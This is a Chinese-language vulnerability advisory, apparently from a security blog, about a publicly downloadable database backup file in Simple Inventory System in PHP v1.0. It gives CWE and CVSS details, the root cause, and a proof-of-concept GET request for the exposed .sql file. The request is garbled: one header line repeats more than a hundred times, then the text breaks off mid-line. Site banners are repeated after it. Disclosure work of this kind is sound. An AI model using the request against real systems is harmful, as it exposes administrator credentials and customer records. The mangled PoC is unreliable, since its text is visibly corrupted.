Simple Inventory System in PHP v1.0 数据库备份文件暴露漏洞分析

漏洞关键信息总结 漏洞概述 漏洞名称：Simple Inventory System in PHP 敏感信息泄露 / 数据库备份文件暴露 CWE：CWE-200（敏感信息暴露给未授权访问者） OWASP Top 10：A05:2021 – 安全配置错误 严重等级：High CVSS v3.1 评分：7.5（High） CVSS 向量：CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/H:N/N 受影响版本：Simple Inventory System in PHP v1.0 漏洞类型：敏感信息泄露 / 数据库备份暴露 根本原因：数据库备份文件被放置在 Web 根目录下，Web 服务器允许直接访问 文件，且未配置认证或访问控制，导致任意用户可通过直接 HTTP 请求下载数据库备份。 影响范围 受影响资源路径： HTTP 方法：GET 影响：攻击者可获取管理员账户、用户凭据、客户记录、供应商记录、库存记录、产品/销售/交易历史等敏感业务数据，进而可能引发 SQL 注入、权限提升、账户接管等后续攻击。 POC / 利用代码 ``` GET /inventoryManagement/Database_Backup/inventorymanagement.sql HTTP/1.1 Host: localhost sec-ch-ua: "Not A.Brand";v="24", "Chromium";v="146" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "macOS" Accept-Language: en-US,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/... Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-fetch-site: navigate Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-Dest: document Sec-Fetch-

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

Simple Inventory System in PHP v1.0 数据库备份文件暴露漏洞分析

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

Simple Inventory System in PHP v1.0 数据库备份文件暴露漏洞分析

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！